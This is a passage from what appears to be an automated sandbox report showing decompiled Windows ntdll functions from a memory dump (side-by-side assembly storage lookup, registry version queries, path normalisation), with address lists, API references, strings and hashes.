						_t107 =  *_t103;
						_t80 = _t84 + 0xfffffffe;
						_v608 = _t107;
						_v584 = 0;
						_v596 = _t80;
						if(_t107 == 0) {
							L30:
							 *((char*)(_t103 + 9)) = 1;
							goto L9;
						}
						_push( &_v584);
						_push(0x220);
						_t113 =  &_v556;
						_push( &_v556);
						_push(0);
						_push(_t80);
						_push(_t107);
						_t80 = E6D289820();
						_v624 = _t80;
						if(_t80 >= 0) {
							_t80 = _v544;
							if(_t80 > 0xfffe) {
								L20:
								 *((char*)(_t103 + 8)) = 1;
								if(_t124 != 0) {
									 *_t124 = 0xc0000106;
								}
								goto L9;
							}
							_t113 =  &_v592;
							_v592 = _t80;
							_v590 = _t80;
							_v588 =  &_v540;
							_t80 = E6D2D4A28(_v608,  &_v592, _t103 + 0xc);
							_v612 = _t80;
							if(_t80 >= 0) {
								goto L9;
							}
							_push(_t80);
							_t80 = E6D2D5720(0x33, 0, "SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx\n",  &_v592);
							 *((char*)(_t103 + 8)) = 1;
							goto L36;
						}
						if(_t80 == 0x8000001a) {
							goto L30;
						}
						_push(_t80);
						_t80 = E6D2D5720(0x33, 0, "SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx\n", _v596);
						_t131 = _t131 + 0x14;
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 == 0) {
							goto L9;
						}
						_t80 = _v600;
						goto L38;
					}
					RtlInitUnicodeString( &_v608, E6D25AAB0());
					_t113 = _v616 & 0x0000ffff;
					 *(_t103 + 0xc) = 0;
					_t27 = _t113 + 0x10; // 0x50
					_t80 = _t27;
					if(_t27 > ( *(_t103 + 0xe) & 0x0000ffff)) {
						L22:
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 != 0) {
							 *_t124 = 0xc0000023;
						}
						goto L9;
					}
					memcpy( *(_t103 + 0x10), _v612, _t113);
					_t131 = _t131 + 0xc;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t80 = _v616 + 0x10;
					L8:
					 *(_t103 + 0xc) = _t80;
					goto L9;
				}
				_t80 =  *( *[fs:0x30] + 0x10);
				_t121 =  *( *( *[fs:0x30] + 0x10) + 0x38) & 0x0000ffff;
				_v596 = _t121;
				_t9 = _t121 + 0x10; // 0x6d256177
				_t110 = _t9;
				if(_t110 > 0xfffe) {
					goto L20;
				}
				_t80 =  *(_t103 + 0xe) & 0x0000ffff;
				if(_t110 > ( *(_t103 + 0xe) & 0x0000ffff)) {
					goto L22;
				}
				_t111 =  *( *( *[fs:0x30] + 0x10) + 0x3c);
				if(( *( *( *[fs:0x30] + 0x10) + 8) & 0x00000001) == 0) {
					_t111 = _t111 +  *( *[fs:0x30] + 0x10);
				}
				memcpy( *(_t103 + 0x10), _t111, _t121);
				_t131 = _t131 + 0xc;
				_t113 = 1;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t103 + 0xc) = _v596 + 0xe;
				if(E6D27D268( *(_t103 + 0x10), 1) != 0) {
					goto L9;
				} else {
					_t80 = 0;
					goto L8;
				}
			}

0x6d27ccc8
0x6d27ccd5
0x6d27cce0
0x6d27cce4
0x6d27cce8
0x6d27cceb
0x6d27ce12
0x6d27ce1a
0x6d27ce1d
0x6d27ce25
0x6d27ce2b
0x6d27ce2f
0x6d27ce30
0x6d27ce34
0x6d27ce3c
0x6d27ce40
0x6d27ce44
0x6d27ce49
0x6d27ce4f
0x6d27ce5c
0x6d27ce60
0x6d27ce64
0x6d2bad96
0x6d2bad96
0x6d2bada4
0x6d2bada9
0x6d2badad
0x6d2badad
0x6d2badb2
0x6d27cd88
0x6d27cd8f
0x6d27cd90
0x6d27cd91
0x6d27cd9c
0x6d27cd9c
0x6d2badb8
0x6d2badbc
0x6d2badbc
0x6d2badbc
0x00000000
0x6d27ce4f
0x6d27ccf1
0x6d27ccf4
0x6d27cda0
0x6d27cda3
0x6d2bac7c
0x6d2bac7e
0x6d2bac7e
0x00000000
0x6d27cda3
0x6d27ccfa
0x6d27ccff
0x6d27cdb1
0x6d2bacc4
0x6d2bacc8
0x6d2baccb
0x6d2baccf
0x6d2bacd3
0x6d2bacd9
0x6d2bad2b
0x6d2bad2b
0x00000000
0x6d2bad2b
0x6d2bacdf
0x6d2bace0
0x6d2bace5
0x6d2bace9
0x6d2bacea
0x6d2baceb
0x6d2bacec
0x6d2baced
0x6d2bacf2
0x6d2bacf8
0x6d2bad34
0x6d2bad3d
0x6d2bac88
0x6d2bac88
0x6d2bac8e
0x6d2bac94
0x6d2bac94
0x00000000
0x6d2bac8e
0x6d2bad47
0x6d2bad4b
0x6d2bad50
0x6d2bad59
0x6d2bad61
0x6d2bad66
0x6d2bad6c
0x00000000
0x00000000
0x6d2bad72
0x6d2bad80
0x6d2bad85
0x00000000
0x6d2bad85
0x6d2bacff
0x00000000
0x00000000
0x6d2bad01
0x6d2bad0e
0x6d2bad13
0x6d2bad16
0x6d2bad1c
0x00000000
0x00000000
0x6d2bad22
0x00000000
0x6d2bad22
0x6d27cdc2
0x6d27cdc7
0x6d27cdd2
0x6d27cdd6
0x6d27cdd6
0x6d27cddb
0x6d2bac9f
0x6d2bac9f
0x6d2baca5
0x6d2bacab
0x6d2bacab
0x00000000
0x6d2baca5
0x6d27cde9
0x6d27cdfb
0x6d27cdfe
0x6d27cdff
0x6d27ce00
0x6d27ce01
0x6d27ce06
0x6d27cd84
0x6d27cd84
0x00000000
0x6d27cd84
0x6d27cd0b
0x6d27cd0e
0x6d27cd12
0x6d27cd16
0x6d27cd16
0x6d27cd1f
0x00000000
0x00000000
0x6d27cd25
0x6d27cd2b
0x00000000
0x00000000
0x6d27cd3a
0x6d27cd4a
0x6d2bacbc
0x6d2bacbc
0x6d27cd56
0x6d27cd66
0x6d27cd6c
0x6d27cd6e
0x6d27cd6f
0x6d27cd70
0x6d27cd71
0x6d27cd75
0x6d27cd80
0x00000000
0x6d27cd82
0x6d27cd82
0x00000000
0x6d27cd82

APIs

memcpy.1105(6D224F84,?,6D256167,00000040,?,?), ref: 6D27CD56

Part of subcall function 6D27D268: RtlInitUnicodeStringEx.1105(?,00000000,00000000,?,?,6D2C4718,00000030,?,00000000,?,6D2AF5F2,?,00000024,00000000,?), ref: 6D27D278

RtlGetNtSystemRoot.1105(00000040,?,?), ref: 6D27CDB7
RtlInitUnicodeString.1105(00000000,00000000,00000040,?,?), ref: 6D27CDC2
memcpy.1105(6D224F84,00000000,00000040,00000000,00000000,00000040,?,?), ref: 6D27CDE9
ZwOpenKey.1105(?,00000008,?,?,?,?), ref: 6D27CE44
ZwClose.1105(?,00000040,?,?), ref: 6D2BAC7E

Strings

.Local\, xrefs: 6D27CD61
\WinSxS\, xrefs: 6D27CDF3
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx, xrefs: 6D2BAD78
SXS: Unable to open registry key %wZ Status = 0x%08lx, xrefs: 6D2BAD9C
SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx, xrefs: 6D2BAD06
@, xrefs: 6D27CE1D

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicodememcpy$CloseOpenRootSystem
String ID: .Local\$@$SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx$SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx$SXS: Unable to open registry key %wZ Status = 0x%08lx$\WinSxS\
API String ID: 3618765437-3926108909
Opcode ID: 15c581fca88bb064608c32c666e5e982bf60099044b8b254116080a54bbb36e4
Instruction ID: 3003ecc27413410d487f4f708d0c9175cfb75ae99daafa0da8a7b8bb73697c6b
Opcode Fuzzy Hash: 15c581fca88bb064608c32c666e5e982bf60099044b8b254116080a54bbb36e4
Instruction Fuzzy Hash: A881F47119834A9FD721CF25C880E2BBBE4FF85B45F01895DF8949B251D3B1D944CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D2465A0, Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 157
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6D2465A0(intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v28;
				signed int _v300;
				intOrPtr _v304;
				signed int _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				void _v324;
				intOrPtr* _v328;
				void _v332;
				int _v336;
				void* _v340;
				char _v344;
				void* _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				void* _v372;
				void* _v388;
				void* __ebx;
				void* __edi;
				void* __esi;
				void _t75;
				intOrPtr* _t110;
				void* _t111;
				signed int _t112;
				signed int _t118;
				void* _t132;
				void* _t135;
				intOrPtr* _t137;
				void* _t142;
				signed int _t143;
				signed int _t145;

				_t145 = (_t143 & 0xfffffff8) - 0x15c;
				_v8 =  *0x6d33d360 ^ _t145;
				_t75 = _a4;
				_t124 = 0;
				_v332 = _t75;
				_t110 = _a12;
				_t137 = _a8;
				_v328 = _t137;
				if(_t75 != 0) {
					_t112 = 6;
					_v340 = 0;
					_v336 = 0;
					memset( &_v324, 0, _t112 << 2);
					_t145 = _t145 + 0xc;
					_v344 = 0;
					_v348 = 0;
					_t132 = 0;
					RtlInitUnicodeString( &_v340, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion");
					_v332 = 0x18;
					_v324 =  &_v348;
					_v328 = 0;
					_push( &_v332);
					_push(0x20119);
					_v320 = 0x40;
					_push( &_v352);
					_v316 = 0;
					_v312 = 0;
					if(E6D289600() >= 0) {
						if(E6D2466D4(_v352, L"UBR",  &_v356) >= 0) {
							_t132 = _v356;
						}
						_push(_v352);
						E6D2895D0();
					}
					_v308 = 0x11c;
					E6D274020( &_v308);
					_t89 = _v344;
					asm("adc esi, edx");
					asm("adc esi, 0x0");
					 *_t89 = 0 + _v300 * 0x10000 + _t132;
					 *((intOrPtr*)(_t89 + 4)) = _v308 * 0x10000 + _v304;
					_t124 = 0;
					_t137 = _v340;
				}
				if(_t137 != 0) {
					_v348 = _t124;
					_v344 = _t124;
					_v356 = 3;
					RtlInitUnicodeString( &_v348, L"Kernel-OneCore-DeviceFamilyID");
					_push( &_v344);
					_push(4);
					_push( &_v364);
					_push( &_v348);
					_push( &_v356);
					E6D28A9B0();
					_t89 =  *((intOrPtr*)(_t145 + 0x10));
					 *_t137 =  *((intOrPtr*)(_t145 + 0x10));
				}
				if(_t110 != 0) {
					_t118 = 6;
					memset( &_v332, 0, _t118 << 2);
					_t145 = _t145 + 0xc;
					_v348 = 0;
					_v344 = 0;
					_v352 = 0;
					_v356 = 0;
					 *_t110 = 0;
					RtlInitUnicodeString( &_v348, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\OEM");
					_v340 = 0x18;
					_v332 =  &_v356;
					_push( &_v340);
					_push(0x20119);
					_v336 = 0;
					_push( &_v360);
					_v328 = 0x40;
					_v324 = 0;
					_v320 = 0;
					if(E6D289600() >= 0) {
						_t124 = L"DeviceForm";
						if(E6D2466D4(_v360, L"DeviceForm",  &_v364) >= 0) {
							 *_t110 = _v364;
						}
						_push(_v360);
						_t89 = E6D2895D0();
					}
				}
				_pop(_t135);
				_pop(_t142);
				_pop(_t111);
				return E6D28B640(_t89, _t111,  *(_t145 + 0x164) ^ _t145, _t124, _t135, _t142);
			}

0x6d2465a8
0x6d2465b5
0x6d2465bc
0x6d2465bf
0x6d2465c1
0x6d2465c6
0x6d2465ca
0x6d2465cd
0x6d2465d4
0x6d2a19a8
0x6d2a19ab
0x6d2a19b3
0x6d2a19b7
0x6d2a19b7
0x6d2a19c2
0x6d2a19c7
0x6d2a19cb
0x6d2a19cd
0x6d2a19d6
0x6d2a19de
0x6d2a19e8
0x6d2a19ec
0x6d2a19ed
0x6d2a19f6
0x6d2a19fe
0x6d2a19ff
0x6d2a1a03
0x6d2a1a0e
0x6d2a1a25
0x6d2a1a27
0x6d2a1a27
0x6d2a1a2b
0x6d2a1a2f
0x6d2a1a2f
0x6d2a1a38
0x6d2a1a41
0x6d2a1a66
0x6d2a1a6a
0x6d2a1a6e
0x6d2a1a71
0x6d2a1a73
0x6d2a1a76
0x6d2a1a78
0x6d2a1a78
0x6d2465dc
0x6d2465e7
0x6d2465ec
0x6d2465f0
0x6d2465f8
0x6d246601
0x6d246602
0x6d246608
0x6d24660d
0x6d246612
0x6d246613
0x6d246618
0x6d24661c
0x6d24661c
0x6d246620
0x6d24663b
0x6d246644
0x6d246644
0x6d24664f
0x6d246654
0x6d246658
0x6d24665c
0x6d246660
0x6d246662
0x6d24666b
0x6d246673
0x6d24667b
0x6d24667c
0x6d246685
0x6d246689
0x6d24668a
0x6d246692
0x6d246696
0x6d2466a1
0x6d2466b0
0x6d2466bc
0x6d2466d0
0x6d2466d0
0x6d2466be
0x6d2466c2
0x6d2466c2
0x6d2466a1
0x6d246629
0x6d24662a
0x6d24662b
0x6d246636

APIs

RtlInitUnicodeString.1105 ref: 6D2465F8
ZwQueryLicenseValue.1105(?,?,00000003,00000004,?), ref: 6D246613
RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM), ref: 6D246662
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6D2466C2
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6D24669A

Part of subcall function 6D289600: LdrInitializeThunk.NTDLL(6D281119,?,?,00000018,?), ref: 6D28960A

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6D2A19CD
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6D2A1A07
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6D2A1A2F
RtlGetVersion.1105(?,?,?,?,?,00020119,00000018), ref: 6D2A1A41

Strings

Kernel-OneCore-DeviceFamilyID, xrefs: 6D2465DE
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6D2A19B9
DeviceForm, xrefs: 6D2466B0
UBR, xrefs: 6D2A1A19
@, xrefs: 6D24668A
@, xrefs: 6D2A19F6
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM, xrefs: 6D246646

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$InitializeLicenseQueryThunkValueVersion
String ID: @$@$DeviceForm$Kernel-OneCore-DeviceFamilyID$UBR$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM
API String ID: 2689724482-2811273990
Opcode ID: 2b648a89c37529491fbd8ddb81e4999b31b9504b332d1b379b9a0cbb1e614ac3
Instruction ID: 944fe7526122b5ec3c6ad212dc2ee72558bffa0a9e430ccf447829ef3387eb59
Opcode Fuzzy Hash: 2b648a89c37529491fbd8ddb81e4999b31b9504b332d1b379b9a0cbb1e614ac3
Instruction Fuzzy Hash: 73512BB154831A9FC314CF19C480A9BBBE8BFC8754F01892EFA98D7251D734DA09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6D262430, Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 461
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6D262430(signed char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr* _a20, signed int _a24, intOrPtr* _a28, int _a32, intOrPtr* _a36) {
				signed int _v8;
				char _v140;
				short _v172;
				char _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				signed int _v196;
				signed int _v200;
				short* _v204;
				short* _v208;
				short* _v212;
				signed int _v214;
				void _v216;
				short _v224;
				short _v228;
				short* _v232;
				signed short* _v236;
				signed short* _v240;
				short _v242;
				char _v244;
				intOrPtr _v248;
				void* _v252;
				intOrPtr _v256;
				void* _v260;
				char* _v280;
				char _v284;
				int _v288;
				char _v292;
				signed int _v296;
				int _v300;
				signed int _v304;
				int _v312;
				intOrPtr _v316;
				char _v320;
				signed int _v324;
				signed short _v328;
				signed short* _v332;
				signed int _v336;
				char _v337;
				void* _v338;
				void* _v342;
				void* _v344;
				void* _v348;
				void* _v352;
				void* _v353;
				void* _v354;
				void* _v356;
				void* _v364;
				void* _v366;
				void* _v368;
				void* _v370;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t179;
				signed short* _t180;
				intOrPtr _t182;
				intOrPtr _t186;
				short* _t187;
				intOrPtr _t193;
				short* _t194;
				short* _t202;
				signed int _t224;
				char _t225;
				signed int _t226;
				intOrPtr* _t233;
				intOrPtr* _t246;
				void* _t247;
				intOrPtr* _t248;
				char* _t249;
				intOrPtr* _t255;
				short* _t256;
				signed short* _t259;
				signed int _t262;
				intOrPtr* _t264;
				void* _t265;
				signed short* _t266;
				intOrPtr _t267;
				int _t268;
				signed short* _t269;
				void* _t274;
				void* _t275;
				signed int _t276;
				void* _t278;
				signed int _t280;
				signed int _t282;

				_t282 = (_t280 & 0xfffffff8) - 0x154;
				_v8 =  *0x6d33d360 ^ _t282;
				_t248 = _a28;
				_t258 = _a32;
				_t179 = _a36;
				_t246 = _a20;
				_v296 = _t248;
				_v320 = 0;
				_v316 = 0;
				_v280 =  &_v140;
				_v300 = _t258;
				_v284 = 0x800000;
				_v288 = 0;
				_v328 = 0;
				_v304 = 0;
				_t264 = _a8;
				if(_t248 != 0) {
					 *_t248 = 0;
				}
				if(_t258 != 0) {
					 *_t258 = 0;
				}
				if(_t179 != 0) {
					 *_t179 = 0x208;
				}
				if(_t246 != 0) {
					 *_t246 = 0;
					 *((intOrPtr*)(_t246 + 4)) = 0;
				}
				_t180 =  &_v172;
				_v228 = 0x20;
				_v236 = _t180;
				_v232 = _t180;
				_v240 = _t180;
				_v172 = 0;
				_t182 = _a16;
				_v224 = 0x20;
				_v244 = 0x200000;
				if(_t182 == 0) {
					_t249 =  &_v192;
					_v200 = 2;
					_v208 = _t249;
					_v204 = _t249;
					_v212 = _t249;
					_v196 = 2;
					_v192 = 0;
					_v216 = 0x20000;
				} else {
					_t262 =  *(_t182 + 2) & 0x0000ffff;
					_t256 =  *((intOrPtr*)(_t182 + 4));
					if(_t262 < 2) {
						_t256 =  &_v192;
						_t262 = 2;
					}
					_v208 = _t256;
					_v200 = _t262;
					_v204 = _t256;
					_v196 = _t262;
					_v212 = _t256;
					if(_t256 != 0) {
						 *_t256 = 0;
					}
					_v214 = _t262;
					_t258 = _v300;
					_v216 = 0;
				}
				_t251 = _a24;
				_v188 = _t182;
				_v184 = _t246;
				_v180 = _t251;
				_v176 = 1;
				if((_a4 & 0xfffffffe) != 0) {
					_t274 = 0xc000000d;
					goto L82;
				} else {
					if(_t264 == 0) {
						_t274 = 0xc000000d;
						L82:
						if(_t274 >= 0) {
							L57:
							_t183 = _v316;
							if(_v316 != 0) {
								E6D24AD30(_t183);
								_v324 = 0;
								_v320 = 0;
							}
							_t186 = _v236;
							if(_t186 != 0) {
								if(_t186 != _v232) {
									_v248 = _t186;
									RtlFreeUnicodeString( &_v252);
								}
								_v240 = _v236;
								_v232 = _v228;
							}
							_t187 = _v232;
							_v240 = _t187;
							if(_t187 != 0) {
								_t251 = 0;
								 *_t187 = 0;
							}
							_v244 = 0;
							_v242 = _v224;
							if(_t274 == 0xc0150001) {
								E6D2E5100(_t251, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x1b2, "Status != STATUS_SXS_SECTION_NOT_FOUND");
								_t274 = 0xc00000e5;
								goto L82;
							} else {
								_pop(_t265);
								_pop(_t275);
								_pop(_t247);
								return E6D28B640(_t274, _t247, _v8 ^ _t282, _t258, _t265, _t275);
							}
						}
						L51:
						if(_v176 != 0) {
							_t193 = _v208;
							if(_t193 != 0 && _t193 != _v204) {
								_v256 = _t193;
								RtlFreeUnicodeString( &_v260);
							}
							_t194 = _v204;
							if(_t194 != 0) {
								_t251 = 0;
								 *_t194 = 0;
							}
						}
						memset( &_v216, 0, 0x2c);
						_t282 = _t282 + 0xc;
						goto L57;
					}
					if(_t182 == 0) {
						if(_t246 != 0 || _t258 == 0) {
							L15:
							_t251 = 0;
							_t266 =  *(_t264 + 4);
							_v336 =  *_t264;
							_t202 = _a12;
							_v332 = _t266;
							_v338 = 0;
							if(_t202 == 0 ||  *_t202 == 0) {
								L23:
								_t274 = 0;
								goto L24;
							} else {
								_v337 = 0;
								_t278 = E6D263690(1,  &_v336, 0x6d2211bc,  &_v292);
								if(_t278 < 0) {
									if(_t278 == 0xc0000225) {
										L19:
										_t274 = 0;
										L20:
										_t266 = _v332;
										if(_t274 < 0) {
											L97:
											_t251 = _v338;
											L24:
											if(_t274 < 0) {
												goto L51;
											}
											if(_t251 != 0) {
												_t266 = _v240;
												_v336 = _v244;
												_v332 = _t266;
											}
											_v312 = 0;
											_v338 = 0;
											if(_v316 != 0) {
												_t274 = 0xc000000d;
												goto L42;
											} else {
												_t224 = _v336;
												if(_t224 < 2) {
													L30:
													if(_t224 < 4 ||  *_t266 == 0 || _t266[1] != 0x3a || _t224 < 6) {
														L40:
														_t225 = _v338;
														goto L41;
													} else {
														_t226 = _t266[2] & 0x0000ffff;
														if(_t226 != 0x5c) {
															if(_t226 != 0x2f) {
																goto L40;
															}
														}
														_v324 = 2;
														L36:
														_t274 = E6D263850( &_v336,  &_v284,  &_v320,  &_v312, 0, 0,  &_v324, 0);
														if(_t274 < 0) {
															L42:
															_t204 = _v316;
															if(_v316 != 0) {
																E6D24AD30(_t204);
																_v324 = 0;
																_v320 = 0;
															}
															L43:
															if(_t274 < 0) {
																goto L51;
															}
															if((_a4 & 0x00000001) == 0 ||  *((intOrPtr*)( *[fs:0x30] + 0x10)) == 0 || ( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00001000) == 0) {
																L47:
																_t267 = _a16;
																if((_v304 & 0x00000001) != 0) {
																	L77:
																	if(_t246 == 0) {
																		if(_t267 == 0 || _v212 ==  *((intOrPtr*)(_t267 + 4))) {
																			goto L78;
																		} else {
																			_t274 = 0xc0000023;
																			goto L82;
																		}
																	}
																	L78:
																	_t268 = _v300;
																	if(_t268 != 0) {
																		_t274 = E6D263690(1,  &_v216, 0x6d221810,  &_v328);
																		if(_t274 < 0) {
																			goto L51;
																		}
																		 *_t268 = ((_v328 & 0x0000ffff) >> 1) + 1;
																	}
																	_t251 =  &_v216;
																	_t274 = E6D285969( &_v216);
																	if(_t274 < 0) {
																		goto L51;
																	}
																	_t251 = _v296;
																	if(_t251 != 0) {
																		 *_t251 = _v304;
																	}
																	_t274 = 0;
																	goto L82;
																}
																if(_t267 == 0) {
																	if(_t246 != 0) {
																		goto L49;
																	}
																	_t258 = 1;
																	L50:
																	_t251 =  &_v336;
																	_t274 = E6D262990( &_v336, _t258,  &_v288, _v296,  &_v216);
																	if(_t274 >= 0) {
																		goto L77;
																	}
																	goto L51;
																}
																L49:
																_t258 = 0;
																goto L50;
															} else {
																_t258 =  &_v216;
																_t251 =  &_v336;
																_t274 = E6D2D40D2( &_v336,  &_v216,  &_v304);
																if(_t274 < 0) {
																	goto L51;
																}
																goto L47;
															}
														}
														_t233 = _v312;
														_t276 =  *_t233;
														_t269 =  *(_t233 + 4);
														_v312 = _t276;
														if(_v324 == 6) {
															_t259 = _v332;
															if( *((short*)(_t259 + 0xa)) != 0x3a ||  *((short*)(_t259 + 0xc)) != 0x5c) {
																goto L38;
															} else {
																_v332 = _t259 + 8;
																_t251 = _v336 + 0xfff8;
																 *((intOrPtr*)(_t282 + 0x16)) =  *((intOrPtr*)(_t282 + 0x16)) + 0xfff8;
																_t258 = _v312 + 0xfff8;
																_t269 =  &(_t269[4]);
																_v312 = _t258;
																 *((intOrPtr*)(_t282 + 0x2e)) =  *((intOrPtr*)(_t282 + 0x2e)) + 0xfff8;
																_t276 = _v312;
																_v336 = _t251;
																L39:
																if(_t251 > _t258) {
																	_t251 =  &_v320;
																	if(_t233 ==  &_v320) {
																		_t225 = 1;
																	} else {
																		_t225 = _v338;
																	}
																	_v336 = _t276;
																	_v332 = _t269;
																	L41:
																	_t274 = 0;
																	if(_t225 != 0) {
																		goto L43;
																	}
																	goto L42;
																}
																goto L40;
															}
														}
														L38:
														_t251 = _v336;
														_t258 = _v312;
														goto L39;
													}
												}
												_t251 =  *_t266 & 0x0000ffff;
												if(_t251 == 0x5c || _t251 == 0x2f) {
													if(_t224 < 4) {
														goto L40;
													}
													_t251 = _t266[1] & 0x0000ffff;
													if(_t251 == 0x5c || _t251 == 0x2f) {
														if(_t224 < 6) {
															L110:
															_v324 = 1;
															goto L36;
														}
														_t251 = _t266[2] & 0x0000ffff;
														if(_t251 == 0x2e || _t251 == 0x3f) {
															if(_t224 < 8) {
																L109:
																if(_t224 == 6) {
																	goto L40;
																}
																goto L110;
															}
															_t251 = _t266[3] & 0x0000ffff;
															if(_t251 == 0x5c || _t251 == 0x2f) {
																_v324 = 6;
																goto L36;
															} else {
																goto L109;
															}
														} else {
															goto L110;
														}
													} else {
														goto L40;
													}
												} else {
													goto L30;
												}
											}
										}
										if(_v337 == 0) {
											_t255 = _a12;
											 *(_t282 + 0x50) = _v336;
											 *(_t282 + 0x54) = _t266;
											 *((intOrPtr*)(_t282 + 0x58)) =  *_t255;
											 *((intOrPtr*)(_t282 + 0x5c)) =  *((intOrPtr*)(_t255 + 4));
											_v244 = 0;
											_t274 = E6D27D5C0(_t255,  &_v244, 2, _t282 + 0x50);
											if(_t274 < 0) {
												goto L97;
											}
											_t251 = 1;
											goto L23;
										}
										_t251 = _v338;
										goto L23;
									}
									goto L20;
								}
								_v337 = 1;
								goto L19;
							}
						} else {
							L96:
							_t274 = 0xc000000d;
							goto L82;
						}
					}
					if(_t246 == 0 || _t251 != 0) {
						goto L15;
					} else {
						goto L96;
					}
				}
			}

0x6d262438
0x6d262445
0x6d26244c
0x6d26244f
0x6d262452
0x6d262456
0x6d26245c
0x6d262460
0x6d262464
0x6d26246f
0x6d262475
0x6d262479
0x6d262481
0x6d262489
0x6d26248e
0x6d262493
0x6d262498
0x6d2628f5
0x6d2628f5
0x6d2624a0
0x6d262956
0x6d262956
0x6d2624a8
0x6d26295d
0x6d26295d
0x6d2624b0
0x6d2624b4
0x6d2624b6
0x6d2624b6
0x6d2624b9
0x6d2624c0
0x6d2624cb
0x6d2624cf
0x6d2624d3
0x6d2624d9
0x6d2624e1
0x6d2624e4
0x6d2624ef
0x6d2624f9
0x6d26280f
0x6d262816
0x6d262821
0x6d262828
0x6d26282f
0x6d262838
0x6d262843
0x6d26284b
0x6d2624ff
0x6d2624ff
0x6d262503
0x6d262509
0x6d2ad20f
0x6d2ad216
0x6d2ad216
0x6d26250f
0x6d262516
0x6d26251d
0x6d262524
0x6d26252b
0x6d262534
0x6d262538
0x6d262538
0x6d26253d
0x6d262545
0x6d262549
0x6d262549
0x6d262558
0x6d26255b
0x6d262562
0x6d262569
0x6d262570
0x6d262578
0x6d2ad220
0x00000000
0x6d26257e
0x6d262580
0x6d2ad22a
0x6d262930
0x6d262932
0x6d262791
0x6d262791
0x6d262797
0x6d2ad3b8
0x6d2ad3bf
0x6d2ad3c3
0x6d2ad3c3
0x6d26279d
0x6d2627a3
0x6d2627a9
0x6d262968
0x6d262971
0x6d262971
0x6d2627b3
0x6d2627be
0x6d2627be
0x6d2627c5
0x6d2627c9
0x6d2627cf
0x6d2627d1
0x6d2627d3
0x6d2627d3
0x6d2627d8
0x6d2627e5
0x6d2627f0
0x6d2ad3e0
0x6d2ad3e5
0x00000000
0x6d2627f6
0x6d2627ff
0x6d262800
0x6d262801
0x6d26280c
0x6d26280c
0x6d2627f0
0x6d26274b
0x6d262753
0x6d262755
0x6d26275e
0x6d2ad3a4
0x6d2ad3ad
0x6d2ad3ad
0x6d26276d
0x6d262776
0x6d262778
0x6d26277a
0x6d26277a
0x6d262776
0x6d262789
0x6d26278e
0x00000000
0x6d26278e
0x6d262588
0x6d26285d
0x6d26259a
0x6d26259c
0x6d26259e
0x6d2625a1
0x6d2625a5
0x6d2625a8
0x6d2625ac
0x6d2625b2
0x6d262600
0x6d262600
0x00000000
0x6d2625ba
0x6d2625be
0x6d2625d4
0x6d2625d8
0x6d26287b
0x6d2625e3
0x6d2625e3
0x6d2625e5
0x6d2625e5
0x6d2625eb
0x6d2ad246
0x6d2ad246
0x6d262602
0x6d262604
0x00000000
0x00000000
0x6d26260c
0x6d2628cf
0x6d2628d3
0x6d2628d7
0x6d2628d7
0x6d262617
0x6d26261f
0x6d262624
0x6d2ad24f
0x00000000
0x6d26262a
0x6d26262a
0x6d262633
0x6d26264a
0x6d26264e
0x6d2626cd
0x6d2626cd
0x00000000
0x6d262663
0x6d262663
0x6d26266a
0x6d2ad2c4
0x00000000
0x00000000
0x6d2ad2ca
0x6d262670
0x6d262678
0x6d26269c
0x6d2626a0
0x6d2626d7
0x6d2626d7
0x6d2626dd
0x6d2628e1
